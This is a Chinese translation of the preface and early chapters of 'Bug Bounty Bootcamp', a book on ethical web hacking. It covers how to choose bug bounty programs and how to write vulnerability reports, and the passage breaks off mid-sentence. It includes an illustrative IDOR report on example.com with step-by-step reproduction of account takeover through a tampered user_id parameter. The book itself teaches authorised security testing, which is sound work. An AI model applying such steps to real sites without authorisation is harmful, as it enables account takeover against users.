漏洞悬赏训练营-全-
漏洞悬赏训练营(全)
原文:
zh.annas-archive.org/md5/0ce096ec96d408afd2fbba363abdd029译者:飞龙
前言

我仍然记得第一次发现一个高影响力漏洞的情景。我已经在我测试的应用中发现了一些低影响的漏洞,包括 CSRF、IDOR 和一些信息泄露。最终,我成功地将这些漏洞串联起来,完全接管了该网站的任何帐户:我可以以任何人的身份登录,读取任何人的数据,并随意更改它。那一刻,我感觉自己拥有了超能力。
我将这个问题报告给了公司,他们迅速修复了漏洞。黑客大概是我在现实世界中遇到的最接近超级英雄的存在。他们凭借自己的技能克服了局限,使得软件程序做了远超其原本设计的事情,这正是我喜欢黑客攻击 web 应用的原因:它全在于创造性思维、挑战自我,并做出看似不可能的事情。
同超级英雄一样,伦理黑客也帮助维护社会安全。仅在美国,每年就发生成千上万的数据泄露事件。通过了解漏洞及其发生的方式,你可以利用你的知识做好事,帮助防止恶意攻击,保护应用和用户,并让互联网变得更安全。
不久之前,黑客攻击和实验性地测试 web 应用是非法的。但如今,得益于漏洞奖励计划,你可以合法地进行黑客攻击;公司通过设立漏洞奖励计划来奖励安全研究人员发现其应用中的漏洞。漏洞奖励训练营将教你如何进行 web 应用攻击,并通过参与这些计划合法地进行黑客攻击。你将学习如何导航漏洞奖励计划、对目标进行侦察,并识别和利用漏洞。
本书的读者
本书将帮助任何人从零开始学习 web 黑客技术和漏洞奖励狩猎。你可能是一个希望进入 web 安全领域的学生,一个想要理解网站安全的 web 开发者,或者一个想要了解如何攻击 web 应用的经验丰富的黑客。如果你对 web 黑客技术和 web 安全感兴趣,这本书适合你。
本书的内容无需任何技术背景即可理解和掌握。不过,理解基本的编程知识会对你有所帮助。
尽管这本书是为初学者编写的,但高级黑客也会发现它是一本有用的参考书。特别是,我讨论了一些高级的利用技巧,以及我在过程中学到的一些实用的技巧和窍门。
本书内容
漏洞奖励训练营涵盖了你开始黑客攻击 web 应用并参与漏洞奖励计划所需的一切。本书分为四个部分:行业概况、入门指南、web 漏洞以及高级技巧。
第一部分:行业概况
- 本书的第一部分专注于漏洞悬赏行业。第一章:选择漏洞悬赏计划,解释了各种类型的漏洞悬赏计划以及如何选择一个适合你兴趣和经验水平的计划。第二章:保持成功,教你成功进入漏洞悬赏行业所需的非技术性技能,比如写好报告、建立职业关系、以及应对冲突和挫折。
第二部分:入门
-
本书的第二部分为你准备了网络黑客技能,并介绍了你成功寻找漏洞所需的基本技术和工具。
第三章:互联网工作原理,解释了互联网技术的基础知识。它还介绍了你可能遇到的互联网安全机制,如会话管理、基于令牌的身份验证和同源策略。
第四章:环境设置与流量拦截,展示了如何设置你的黑客环境,配置 Burp Suite,并有效利用 Burp Suite 的各种模块拦截流量并寻找漏洞。
第五章:Web 黑客侦察,详细介绍了你可以采取的侦察策略,用以收集目标信息。本章还包括了 Bash 脚本编写的介绍,并展示了如何从零开始创建一个自动化的侦察工具。
第三部分:Web 漏洞
-
然后我们开始黑客攻击!本部分是本书的核心,深入探讨了特定漏洞的细节。每一章都专注于一种漏洞,并解释该漏洞的成因、如何防范它、以及如何发现、利用并提升漏洞的影响力。
第六章到第十八章讨论了你在实际应用中可能遇到的常见漏洞,包括跨站脚本攻击(XSS)、开放重定向、点击劫持、跨站请求伪造(CSRF)、不安全的直接对象引用(IDOR)、SQL 注入、竞争条件、服务器端请求伪造(SSRF)、不安全的反序列化、XML 外部实体漏洞(XXE)、模板注入、应用程序逻辑错误与破坏的访问控制、以及远程代码执行(RCE)。
第十九章:同源策略漏洞,深入探讨了现代互联网的一个基本防御机制——同源策略。你将学习开发者在构建应用程序时如何绕过同源策略的常见错误,以及黑客如何利用这些错误。
第二十章:单点登录安全问题,讨论了应用程序实现单点登录功能的最常见方式、每种方法的潜在弱点,以及如何利用这些弱点。
最后,第二十一章:信息泄露,讨论了从 Web 应用程序中提取敏感信息的几种方式。
第四部分:专家技巧
-
本书的最后一部分为有经验的黑客介绍了深入的技术。这一部分将在你掌握第三部分所涵盖的基础内容后,帮助你提升技能。
第二十二章:进行代码审查教你如何识别源代码中的漏洞。你还将有机会练习审查一些代码片段。
第二十三章:黑客攻击 Android 应用程序教你如何设置移动黑客环境并发现 Android 应用程序中的漏洞。
第二十四章:API 黑客攻击讨论了应用程序编程接口(APIs),这是许多现代应用程序的重要组成部分。我会讨论 API 的类型以及如何寻找它们中出现的漏洞。
第二十五章:使用 Fuzzer 自动发现漏洞通过一种称为模糊测试(fuzzing)的方法,向你展示如何自动化寻找漏洞。你将练习使用开源模糊测试工具对一个 Web 应用程序进行模糊测试。
快乐黑客!
Bug Bounty Bootcamp不仅仅是一本关于漏洞悬赏的书。它是一本为有志成为黑客、渗透测试员和那些对互联网安全工作原理感到好奇的人准备的手册。在接下来的章节中,你将学习到攻击者如何利用常见的编程错误达到恶意目的,以及你如何通过道德地向公司报告这些漏洞,帮助他们的漏洞悬赏计划。记住要负责任地使用这股力量!本书中的信息应仅用于合法目的。只攻击你获得授权的系统,并在操作时始终保持谨慎。快乐黑客!
第一章:选择一个漏洞悬赏程序

漏洞悬赏程序:它们都一样吗?找到合适的漏洞悬赏程序是成为成功的漏洞猎人第一步。近年来,许多程序相继涌现,很难确定哪些程序能提供最佳的金钱奖励、经验和学习机会。
一个漏洞悬赏程序是一个公司邀请黑客攻击其产品和服务的项目。但你应该如何选择一个程序?你又应该如何优先考虑它们的不同指标,比如涉及的资产类型、程序是否托管在平台上、是否公开或私密、程序的范围、奖励金额和响应时间等?
在这一章中,我们将探讨不同类型的漏洞悬赏程序,分析每种程序的优缺点,并帮助你选择合适的程序。
行业现状
漏洞悬赏目前是组织获取关于安全漏洞反馈的最流行方式之一。像 PayPal 和 Facebook 这样的跨国公司,以及像美国国防部这样的政府机构,都已经接受了这一理念。然而,不久之前,向公司报告一个漏洞,可能会让你面临牢狱之灾,而不是获得奖励。
1995 年,Netscape 推出了第一个漏洞悬赏程序。公司鼓励用户报告其全新浏览器 Netscape Navigator 2.0 中发现的漏洞,将众包安全测试的概念引入互联网世界。九年后的 2004 年,Mozilla 推出了下一个企业级漏洞悬赏程序,邀请用户在 Firefox 浏览器中识别漏洞。
但直到 2010 年代,提供漏洞悬赏才成为一种流行的做法。那一年,谷歌推出了自己的程序,随后 Facebook 在 2011 年也跟进了。正是这两个程序启动了利用漏洞悬赏来增强公司内部安全基础设施的趋势。
随着漏洞悬赏成为一种更为广泛的策略,漏洞悬赏即服务的平台应运而生。这些平台帮助公司设置和运营他们的程序。例如,它们为公司提供了一个托管程序的地方,处理奖励支付的方式,以及一个集中式的地方来与漏洞猎人进行沟通。
这两个最大的漏洞悬赏平台,HackerOne 和 Bugcrowd,都在 2012 年推出。此后,还有一些平台,如 Synack、Cobalt 和 Intigriti,也进入了市场。这些平台和管理漏洞悬赏服务使得即便是资源有限的公司也能开展安全计划。如今,大型公司、小型初创企业、非营利组织以及政府机构都已将漏洞悬赏作为额外的安全措施,并成为其安全政策的重要组成部分。你可以在en.wikipedia.org/wiki/Bug_bounty_program了解更多关于漏洞悬赏程序的历史。
安全计划一词通常指的是信息安全行业中信息安全政策、程序、指南和标准。在本书中,我用计划或漏洞悬赏计划来指代公司的漏洞悬赏操作。如今,存在大量的漏洞悬赏计划,每个计划都有其独特的特点、优势和缺点。让我们来仔细看看这些。
资产类型
在漏洞悬赏计划中,资产是指你可以攻击的应用、网站或产品。资产有不同的类型,每种类型都有其独特的特点、要求以及优缺点。在考虑了这些差异后,你应当根据自己的技能、经验水平和偏好,选择适合自己优势的资产。
社交网站和应用程序
任何标记为社交的东西都有很大的漏洞潜力,因为这些应用通常很复杂,涉及用户之间以及用户与服务器之间大量的交互。这就是为什么我们将要讨论的第一个漏洞悬赏项目针对社交网站和应用程序。社交应用一词指的是任何允许用户互相交互的网站。许多项目属于这一类别:例如,HackerOne 的漏洞悬赏计划,以及 Facebook、Twitter、GitHub 和 LINE 的项目。
社交应用需要管理用户之间的交互,以及每个用户的角色、权限和账户完整性。它们通常存在潜在的关键网络漏洞,如不安全的直接对象引用(IDOR)、信息泄露和账户接管。当许多用户在一个平台上时,这些漏洞容易发生;当应用程序错误管理用户信息时,恶意用户可以冒充他人身份。
这些复杂的应用通常还提供了大量用户输入的机会。如果输入验证没有正确执行,这些应用容易出现注入漏洞,比如 SQL 注入(SQLi)或跨站脚本(XSS)。
如果你是漏洞悬赏的新手,我建议你从社交网站开始。如今大量的社交应用意味着,如果你瞄准社交网站,你将有很多项目可供选择。此外,社交网站的复杂性质意味着你将遇到广泛的攻击面,可以进行实验。(一个应用的攻击面指的是攻击者可以尝试利用的应用的所有不同点。)最后,这些网站上出现的各种漏洞意味着你将能够迅速建立深厚的网络安全知识。
黑客攻击社交程序所需的技能包括使用代理的能力,比如第四章介绍的 Burp Suite 代理,以及对 XSS 和 IDOR 等网页漏洞的了解。你可以在第六章和第十章中学习更多相关内容。掌握一些 JavaScript 编程技能和网页开发知识也会有所帮助。然而,这些技能并不是成为黑客成功的必要条件。
但是这些程序有一个重大缺点。由于它们产品的流行和低门槛,它们通常竞争激烈,并且有许多黑客在上面进行攻击。像 Facebook 和 Twitter 这样的社交媒体平台是最常被攻击的程序之一。
一般网页应用
一般 网页应用也是初学者的一个好目标。在这里,我指的是不涉及用户与用户之间互动的任何网页应用。相反,用户与服务器互动以访问应用的功能。属于这些类别的目标可以包括静态网站、云应用、像银行网站这样的消费服务以及物联网(IoT)设备或其他连接硬件的网页门户。像社交网站一样,它们也是相当多样化的,并且适合各种技能水平。例子包括谷歌、美国国防部和 Credit Karma 的程序。
也就是说,根据我的经验,它们往往比社交应用稍微难以攻破,而且攻击面更小。如果你在寻找账户接管和信息泄露漏洞方面,可能不会有太多运气,因为用户之间互动的机会比较少,难以窃取他们的信息。在这些应用中,你会发现的漏洞类型稍有不同。你需要寻找服务器端漏洞以及特定于应用技术栈的漏洞。你也可以寻找常见的网络漏洞,比如子域名接管。这意味着你需要了解客户端和服务器端的网页漏洞,并且应该具备使用代理的能力。了解一些网页开发和编程的知识也会有所帮助。
这些程序的流行程度各不相同。然而,它们大多数的门槛较低,因此你很可能可以立即开始进行黑客攻击!
移动应用(Android、iOS 和 Windows)
一旦你掌握了黑客攻击网页应用的技巧,你可能会选择专攻移动应用。移动程序正在变得越来越普及;毕竟,现在大多数网页应用都有移动版本。它们包括 Facebook Messenger、Twitter 应用、LINE 移动应用、Yelp 应用和 Gmail 应用。
黑客攻击移动应用程序需要你已经掌握的网页应用程序的黑客技能,并且还需要额外了解移动应用的结构以及与平台相关的编程技术。你应了解如证书固定绕过、移动逆向工程和密码学等攻击和分析策略。
黑客攻击移动应用程序还需要比攻击网页应用程序更多的准备,因为你需要拥有一台可以进行实验的移动设备。一个好的移动测试实验室包括常规设备、已 root 设备以及 Android 和 iOS 的设备模拟器。一个已 root 设备是你拥有管理员权限的设备。它将允许你更加自由地进行实验,因为你可以绕过移动系统的安全约束。模拟器是你在计算机上运行的移动环境的虚拟仿真程序。它允许你运行多个设备版本和操作系统,而无需为每个设置都拥有一台设备。
因此,移动应用程序在漏洞赏金猎人中不如网页应用程序受欢迎。然而,移动程序较高的入门门槛对参与者而言却是一个优势。这些程序竞争较小,使得发现漏洞相对容易。
API
应用程序接口(API)是定义其他应用程序如何与一个组织的资源进行交互的规范,例如获取或修改其数据。例如,另一个应用程序可能通过超文本传输协议(HTTP)消息访问某个端点,获取应用程序的数据,应用程序会以可扩展标记语言(XML)或 JavaScript 对象表示法(JSON)格式返回数据。
一些程序在其漏洞赏金计划中会更加关注 API 错误,尤其是在推出新版本 API 时。安全的 API 实现对于防止数据泄露和保护客户数据至关重要。黑客攻击 API 需要与黑客攻击网页应用、移动应用和物联网应用相似的技能。但在测试 API 时,你应关注常见的 API 错误,如数据泄露和注入漏洞。
源代码和可执行文件
如果你具备更高级的编程和逆向工程技能,你可以尝试源代码和可执行 程序。这些程序鼓励黑客通过直接提供开源代码库或二进制可执行文件来寻找组织软件中的漏洞。例子包括互联网漏洞赏金计划、PHP 语言的程序以及 WordPress 计划。
破解这些程序可能需要分析开源项目的源代码以寻找网络漏洞,并对二进制文件进行模糊测试以发现潜在的漏洞。通常,你需要了解编码和计算机科学的基本概念才能在这里成功。你将需要了解网络漏洞、与项目代码库相关的编程技能和代码分析技能。密码学、软件开发和逆向工程技能也会有所帮助。
源代码程序可能听起来令人畏惧,但请记住,它们是多种多样的,因此你有很多选择。你不必成为一名高手程序员才能破解这些程序;相反,目标是对项目的技术栈和底层架构有扎实的理解。因为这些程序通常需要更多的技能,它们的竞争性较小,只有一小部分黑客会尝试破解它们。
硬件和物联网
最后但同样重要的是硬件和物联网程序。这些程序要求你破解像汽车、智能电视和恒温器这样的设备。例如,特斯拉和福特汽车公司的漏洞奖励程序就是其中的例子。
破解这些程序需要非常具体的技能:你通常需要深入了解你所破解的设备类型,并理解常见的物联网漏洞。你应该了解网络漏洞、编程、代码分析和逆向工程。同时,还需要研究物联网概念和行业标准,如数字签名和非对称加密方案。最后,密码学、无线黑客技术和软件开发技能也会有所帮助。
虽然某些程序会提供免费设备供你破解,但这通常只适用于那些已经与公司建立了关系的特定黑客。要开始破解这些程序,你可能需要资金来自己购买设备。
由于这些程序需要专业的技能和设备,因此它们往往是竞争最少的。
漏洞奖励平台
公司可以通过两种方式举办漏洞奖励程序:漏洞奖励平台和独立托管的网站。
漏洞奖励平台 是许多公司举办其程序的网站。通常,平台会直接根据黑客的结果授予声望点数和金钱。一些最大的漏洞奖励平台包括 HackerOne、Bugcrowd、Intigriti、Synack 和 Cobalt。
漏洞赏金平台是黑客和安全团队之间的中介。它们为公司提供后勤支持,帮助完成支付和沟通等任务。它们还经常帮助管理进来的报告,通过筛选、去重和筛查漏洞报告来协助公司。最后,这些平台提供了一种方式,让公司通过黑客统计数据和声誉来评估黑客的技能水平。这使得那些不希望被低质量报告淹没的公司能够邀请有经验的黑客参加他们的私人计划。一些平台在允许黑客参与计划之前,还会对黑客进行筛查或面试。
从黑客的角度来看,漏洞赏金平台提供了一个集中提交报告的地方。它们还提供了一个无缝的方式来获得对你发现的漏洞的认可和报酬。
另一方面,许多组织在没有平台帮助的情况下自己主办和管理漏洞赏金计划。像谷歌、Facebook、苹果和 Medium 这样的公司就是这么做的。你可以通过访问他们的网站,或在网上搜索“公司名称 漏洞赏金计划”来找到他们的漏洞赏金政策页面。
作为一个漏洞赏金猎人,你应该在漏洞赏金平台上进行黑客攻击吗?还是应该选择公司独立主办的计划?
优点 . . .
漏洞赏金平台的最大优点是,它们提供了公司流程的高度透明度,因为它们会发布已披露的报告、有关计划的筛查率、支付金额和响应时间等指标。独立主办的计划通常缺乏这种透明度。在漏洞赏金世界中,筛查指的是对漏洞的确认。
你也不必担心每次提交漏洞报告时,如何通过电子邮件联系安全团队、跟进报告,以及提供支付和税务信息。漏洞赏金计划通常还设有声誉系统,允许你展示你的经验,从而获得邀请-only 漏洞赏金计划的访问权限。
漏洞赏金平台的另一个优点是,它们通常会作为第三方提供冲突解决和法律保护。如果你向非平台计划提交报告,你将无法在最终的赏金决策中寻求补偿。最终,在当前行业状态下,你不能总是期待公司支付赏金或解决报告,但平台提供的黑客对黑客的反馈系统是非常有帮助的。
. . . 和缺点
然而,一些黑客避免使用漏洞赏金平台,因为他们不喜欢这些平台处理报告的方式。提交给平台管理的漏洞赏金计划的报告通常会由筛查员处理,这些是第三方员工,通常不熟悉公司产品的所有安全细节。关于筛查员不当处理报告的投诉很常见。
平台上的程序还打破了黑客和开发者之间的直接联系。通过直接参与的程序,你通常可以与公司的安全工程师讨论漏洞,这为你提供了一个极好的学习体验。
最后,公共的 bug 赏金平台上的程序通常会很拥挤,因为这些平台为它们提供了更多曝光。另一方面,许多私有托管的程序没有那么多黑客关注,因此竞争较少。对于许多不与 bug 赏金平台合作的公司,如果你想参与它们的程序,你别无选择,只能去平台外参与。
范围、支付和响应时间
选择一个程序时,除了资产类型和平台之外,你还应考虑哪些其他指标?在每个 bug 赏金程序的页面上,通常会列出一些指标,帮助你评估该程序。这些指标提供了关于你可能找到漏洞的难易程度、你可能获得的报酬以及程序运行效率的洞察。
程序范围
首先,考虑范围。一个程序的范围在其政策页面中指定了你被允许如何进行黑客攻击。范围有两种类型:资产范围和漏洞范围。资产范围告诉你可以攻击哪些子域名、产品和应用程序。而漏洞范围则指定了公司接受哪些漏洞作为有效的 bug。
例如,公司可能会列出其网站的子域名,哪些在范围内,哪些超出范围:
范围内的资产
-
a.example.com
-
b.example.com
-
c.example.com
-
users.example.com
-
landing.example.com
超出范围的资产
-
dev.example.com
-
test.example.com
列为范围内的资产是你被允许攻击的资产。另一方面,列为超出范围的资产则禁止赏金猎人攻击。一定要特别小心并遵守规则!攻击超出范围的资产是违法的。
公司通常也会列出它们认为有效的漏洞:
范围内的漏洞
- 所有没有列为超出范围的资产
超出范围的漏洞
-
自我 XSS
-
点击劫持
-
缺失的 HTTP 头和其他没有直接安全影响的最佳实践
-
拒绝服务攻击
-
使用已知存在漏洞的库,但没有可利用的证明
-
自动扫描器的结果,但没有可利用的证明
在这个示例中,你看到的超出范围的漏洞是 bug 赏金项目中典型的漏洞。注意,许多程序将无法利用的问题,比如违反最佳实践的情况,视为超出范围。
任何具有大范围资产和漏洞的程序都非常适合初学者开始。资产范围越大,你可以查看的目标应用和网页就越多。当一个程序拥有较大的资产范围时,你通常可以发现一些其他黑客忽视的冷门应用,这通常意味着在报告 bug 时竞争较小。
漏洞范围越大,组织愿意接受的漏洞报告种类也越多。这些计划更容易发现漏洞,因为你有更多的机会,可以发挥你的优势。
支付金额
你应该考虑的下一个指标是该计划的payout amounts。漏洞披露计划(VDPs)和漏洞悬赏计划(bug bounty programs)有两种类型的支付计划。
漏洞披露计划(VDPs)是仅限声誉的计划,意味着它们不会为发现的漏洞支付奖励,但通常会提供声誉积分和奖励物品。对于那些赚钱不是主要目标的人来说,它们是了解黑客攻击的一个很好的途径。由于这些计划不支付报酬,因此竞争较少,更容易发现漏洞。你可以利用这些计划来练习发现常见漏洞并与安全工程师进行沟通。
另一方面,漏洞悬赏计划会根据你的发现提供不同金额的奖励。通常,漏洞的严重性越高,报告的奖励也会越多。但是,不同的计划在每个严重性等级上的支付平均金额不同。你可以在漏洞悬赏页面上找到该计划的支付信息,通常在名为payout表格的部分中列出。通常,低影响问题的奖励范围在 50 到 500 美元(USD)之间,而严重问题的奖励则可能超过 1 万美元。然而,漏洞悬赏行业正在发展,且高影响漏洞的支付金额也在增加。例如,苹果现在对于最严重的漏洞提供最高 100 万美元的奖励。
响应时间
最后,考虑该计划的平均响应时间。一些公司会在几天内处理并解决你的报告,而其他公司则可能需要几周甚至几个月的时间才能最终修复。延迟通常是由于安全团队内部的限制,例如缺乏人员处理报告、发布安全补丁的延迟,以及缺乏资金及时奖励研究人员。有时,延迟是因为研究人员提交了没有清晰重现步骤的错误报告。
优先选择响应时间较快的计划。等待公司回复可能是一个令人沮丧的经历,特别是当你刚开始时,你会犯很多错误。你可能会错误评估漏洞的严重性,写出不清楚的解释,或在报告中犯技术错误。来自安全团队的快速反馈将帮助你改进,让你更快地成为一名合格的黑客。
私有计划
大多数漏洞悬赏平台区分公开计划和私有计划。
公开计划是开放给所有人的;任何人都可以攻击并向这些计划提交漏洞,只要他们遵守法律和漏洞悬赏计划的政策。
另一方面,私人程序只对被邀请的黑客开放。对于这些程序,公司会邀请拥有一定经验并且有着证明过能力记录的黑客来攻击公司并提交漏洞。由于参与人数有限,私人程序的竞争远不如公共程序激烈。因此,在这些程序中发现漏洞要容易得多。私人程序通常也有更快的响应时间,因为它们收到的报告相对较少。
参与私人程序可以带来极大的优势。但你如何才能被邀请加入呢?图 1-1 展示了 HackerOne 平台上的私人邀请通知。

图 1-1:HackerOne 平台上的私人邀请通知。当你在漏洞赏金平台上进行攻击时,你经常能收到不同公司私人程序的邀请。
公司会向通过某些方式证明自己能力的黑客发送私人邀请,因此一旦你发现了一些漏洞,获得私人程序的邀请并不难。不同的漏洞赏金平台会有不同的算法来确定谁能收到邀请,但这里有一些建议可以帮助你达到目标。
首先,向公共程序提交一些漏洞。要获得私人邀请,你通常需要在平台上积累一定数量的声誉积分,而开始赚取这些积分的唯一途径是向公共程序提交有效的漏洞。你还应专注于提交高影响力的漏洞。这些漏洞通常会为你带来更高的声誉积分,并帮助你更快地获得私人邀请。在本书第二部分的每一章中,我都会提供建议,帮助你将发现的问题升级为最大影响力的攻击。在一些漏洞赏金平台(如 HackerOne)上,你还可以通过完成教程或解决“夺旗赛”(CTF)挑战获得私人邀请。
接下来,避免发送垃圾报告。提交无关问题通常会导致声誉积分下降。大多数漏洞赏金平台将私人邀请限制在拥有一定积分以上的黑客。
最后,在与安全团队沟通时,要保持礼貌和尊重。对安全团队无礼或恶劣的行为很可能会导致你被禁用,且无法获得其他公司的私人邀请。
选择合适的程序
漏洞赏金是获得网络安全经验并赚取额外收入的好方法。但是,随着行业竞争的加剧,越来越多的人开始发现并参与这些程序,初学者想要入门变得越来越困难。这就是为什么从一开始就选择一个能让你成功的程序如此重要。
在你培养出漏洞猎人的直觉之前,你通常不得不依赖易得的漏洞和常见的技巧。这意味着其他很多黑客也能发现相同的漏洞,通常比你更快。因此,选择那些经验更丰富的漏洞猎人忽视的程序,避免竞争,还是个不错的选择。你可以通过两种方式找到这些竞争较少的程序:寻找无薪程序或选择范围广泛的程序。
尝试首先选择漏洞披露程序。由于没有金钱奖励,无薪程序通常会被经验丰富的漏洞猎人忽视。但它们仍然能为你赢得积分和认可!而这种认可可能正是你获得邀请加入私人付费程序所需要的。
选择一个具有广泛适用范围的程序意味着你将能够查看更多的目标应用程序和网页。这将减少竞争,因为较少的黑客会报告任何单一的资产或漏洞类型。选择响应时间快的程序可以防止挫败感,并尽快获得反馈。
你可以将程序的声誉作为决策过程中的最后一个参考因素。如果可以的话,通过查看公司公开的报告,收集有关公司流程的信息,并从其他黑客的经验中学习。公司是否对报告者友好?他们是否尊重并支持你?他们是否帮助你学习?选择那些在你学习过程中会给予支持的程序,并且会根据你提供的价值给予回报的程序。
选择适合你技能水平的程序至关重要,如果你想进入漏洞赏金的世界。本章应该能帮助你理清你可能感兴趣的各种程序。祝你黑客之路顺利!
常见程序的快速比较
在你确定了几个感兴趣的程序后,可以列出每个程序的属性来进行比较。在表 1-1 中,我们比较了本章介绍的几个流行程序。
表 1-1:三个漏洞赏金计划的比较:HackerOne、Facebook 和 GitHub
| 程序 | 资产类型 | 适用范围 | 支付金额 | 响应时间 |
|---|
| HackerOne | 社交网站 | hackerone.com/ https://api.hackerone.com
*.vpn.hackerone.net
以及更多资产...
除排除项外的任何漏洞都在适用范围内。| $500–$15,000+ | 快速。平均响应时间为 5 小时,平均分类时间为 15 小时。 |
| Facebook | 社交网站、非社交网站、移动网站、物联网和源代码 | Instagram Internet.org / Free Basics
Oculus
Workplace
Facebook 的开源项目
Portal
FBLite
Express Wi-Fi
除排除项外的任何漏洞都在适用范围内。| 最低 $500 | 根据我的经验,非常快! |
| GitHub | 社交网站 | blog.github.com/ community.github.com/
以及更多资源 . . .
使用已知漏洞的软件。
点击劫持静态网站。
在 Markdown 内容中包含 HTML。
通过 .patch 链接泄露电子邮件地址。
以及更多问题 . . . | $617–$30,000 | 快速。平均响应时间为 11 小时。平均分类时间为 23 小时。 |
第二章:持续保持你的成功

即使你理解本书中的技术信息,你可能仍然会在漏洞赏金计划的细节上遇到困难。或者你可能在实际定位有效漏洞时遇到瓶颈,不确定自己为何卡住。在这一章中,我们将探讨成为成功漏洞赏金猎人的一些因素。我们将讨论如何编写报告,正确描述你的发现给安全团队,如何与合作的组织建立持久的关系,以及在寻找漏洞时如何克服障碍。
撰写一份好的报告
漏洞赏金猎人的工作不仅仅是发现漏洞;还需要将漏洞解释给组织的安全团队。如果你提供一份写得很好的报告,能够帮助你所合作的团队重现漏洞、将其分配给适当的内部工程团队,并加速解决问题的进程。漏洞解决得越快,恶意黑客利用它的可能性就越小。在本节中,我将详细解析一份优秀漏洞报告的组成部分,并介绍一些我在过程中学到的技巧和窍门。
第一步:创建一个描述性标题
一个优秀的漏洞报告的第一部分总是一个描述性的标题。目标是创建一个能用一句话概括问题的标题。理想情况下,它应当让安全团队立即理解漏洞是什么、发生在哪里以及其潜在的严重性。为了做到这一点,标题应当回答以下问题:你发现的漏洞是什么?它是一个已知漏洞类型的实例吗,比如 IDOR 或 XSS?你在目标应用的哪个位置发现了这个漏洞?
例如,与其使用像“关键端点上的 IDOR”这样的报告标题,不如使用像“https://example.com/change_password上的 IDOR 导致所有用户账号接管”这样的标题。你的目标是让阅读报告的安全工程师能够清楚地了解你将在报告中讨论的内容。
第二步:提供一个清晰的摘要
接下来,提供报告摘要。本节包括所有你在标题中未能传达的相关细节,如攻击所使用的 HTTP 请求参数、你是如何发现漏洞的等等。
下面是一个有效的报告摘要示例:
https://example.com/change_password端点接受两个 POST 请求体参数:
user_id和new_password。向该端点发送 POST 请求将会把用户user_id的密码更改为new_password。该端点没有验证user_id参数,因此任何用户都可以通过篡改user_id参数来更改其他任何用户的密码。
一份好的报告摘要应该清晰简洁。它包含了理解漏洞所需的所有信息,包括漏洞是什么、漏洞在哪里以及攻击者利用漏洞时可以做什么。
第三步:包含严重性评估
你的报告还应包括对漏洞严重性的诚实评估。除了与你合作修复漏洞外,安全团队还有其他责任需要处理。包括严重性评估将帮助他们确定优先修复哪些漏洞,并确保他们能立即处理关键漏洞。
你可以使用以下标准来传达漏洞的严重性:
低严重性
这个漏洞没有造成大量损害的潜力。例如,一个只能用于网络钓鱼的开放重定向就是一个低严重性漏洞。
中等严重性
这个漏洞以中等方式影响用户或组织,或者是一个难以被恶意黑客利用的高严重性问题。安全团队应该优先处理高严重性和关键严重性的漏洞。例如,针对密码更改等敏感操作的跨站请求伪造(CSRF)通常被视为中等严重性问题。
高严重性
这个漏洞影响了大量用户,并且其后果可能对这些用户造成灾难性影响。安全团队应该尽快修复高严重性的漏洞。例如,一个可以用于窃取 OAuth 令牌的开放重定向就是一个高严重性漏洞。
关键严重性
这个漏洞影响了大多数用户群体或危及了组织的核心基础设施。安全团队应该立即修复关键严重性的漏洞。例如,导致生产服务器上远程代码执行(RCE)的 SQL 注入将被视为一个关键问题。
在www.first.org/cvss/查看常见漏洞评分系统(CVSS)的相关内容,以大致了解每种漏洞的严重性。CVSS 评分标准考虑了多个因素,例如漏洞对组织的影响、漏洞的利用难度,以及漏洞是否需要特殊权限或用户交互才能被利用。
然后,试着想象一下你的客户公司关心的是什么,哪些漏洞会对业务产生最大的影响。根据客户的业务优先级定制你的评估。例如,一个约会网站可能认为暴露用户生日的漏洞无关紧要,因为用户的年龄在该网站上已经是公开信息,而一个求职网站可能认为类似的漏洞很重要,因为在求职过程中,申请人的年龄应该是保密的。另一方面,用户的银行信息泄露几乎总是被认为是高严重性问题。
如果你不确定你的漏洞属于哪个严重性等级,可以使用漏洞赏金平台的评级系统。例如,Bugcrowd 的评级系统会考虑漏洞类型和受影响的功能(bugcrowd.com/vulnerability-rating-taxonomy/),而 HackerOne 提供了基于 CVSS 评分的严重性计算器(docs.hackerone.com/hackers/severity.html)。
你可以将严重性列在一行中,如下所示:
问题的严重性:高
提供一个准确的严重性评估将使每个人的工作变得更容易,并有助于你与安全团队建立良好的关系。
第 4 步:提供清晰的复现步骤
接下来,提供逐步的复现漏洞的指令。包括所有相关的设置前提和你能想到的细节。最好假设对方的工程师对漏洞没有了解,也不知道应用程序是如何工作的。
例如,一个仅仅合格的报告可能包括以下复现步骤:
-
点击更改密码按钮。
-
截取请求,并将
user_id参数修改为另一个用户的 ID。
注意,这些步骤并不全面或明确。它们没有指出需要两个测试账户来测试漏洞,也假设你对应用程序及其请求格式有足够的了解,能够在没有更多指示的情况下执行每一步。
现在,这里有一个更好的报告示例:
-
在example.com上创建两个账户:账户 A 和账户 B。
-
使用账户 A 登录example.com,并访问https://example.com/change_password。
-
在页面左上方的新密码字段中输入所需的新密码。
-
点击页面右上角的更改密码按钮。
-
截取到https://example.com/change_password的 POST 请求,并将
user_idPOST 参数修改为账户 B 的用户 ID。 -
现在,你可以使用你选择的新密码登录账户 B。
虽然安全团队可能仍然能理解第一个报告,但第二个报告要具体得多。通过提供更多相关细节,你可以避免误解并加速缓解过程。
第 5 步:提供概念验证
对于简单的漏洞,你提供的步骤可能就是安全团队复现问题所需要的全部。但对于更复杂的漏洞,附带一个视频、截图或照片来记录你的利用过程会很有帮助,这个文件叫做概念验证(POC)文件。
例如,对于 CSRF 漏洞,你可以包括一个嵌入了 CSRF 载荷的 HTML 文件。这样,安全团队只需要在浏览器中打开 HTML 文件,就可以重现问题。对于 XML 外部实体攻击,可以包括你用来执行攻击的精心制作的 XML 文件。对于那些需要多步骤复杂操作才能重现的漏洞,你可以录制一个屏幕录像,展示你如何操作过程。
像这样的 POC 文件为安全团队节省了时间,因为他们不需要自己准备攻击载荷。你还可以包括任何你用来攻击应用程序的精心制作的 URLs、脚本或上传文件。
步骤 6:描述影响和攻击场景
为了帮助安全团队充分理解漏洞的潜在影响,你还可以举例说明一个可能的场景,在这个场景中,漏洞可能会被利用。请注意,这一部分不同于我之前提到的严重性评估。严重性评估描述了攻击者利用漏洞所产生的后果的严重性,而攻击场景则解释了这些后果实际会是什么样子。
如果黑客利用这个漏洞,他们能否接管用户账户?或者他们能否窃取用户信息并导致大规模数据泄露?请站在恶意黑客的角度,尽可能地扩大漏洞的影响。给客户公司一个现实的最坏情况概念。这将帮助公司在内部优先解决修复问题,并判断是否需要额外的步骤或内部调查。
下面是一个影响部分的示例:
利用这个漏洞,攻击者所需的唯一信息就是用户的
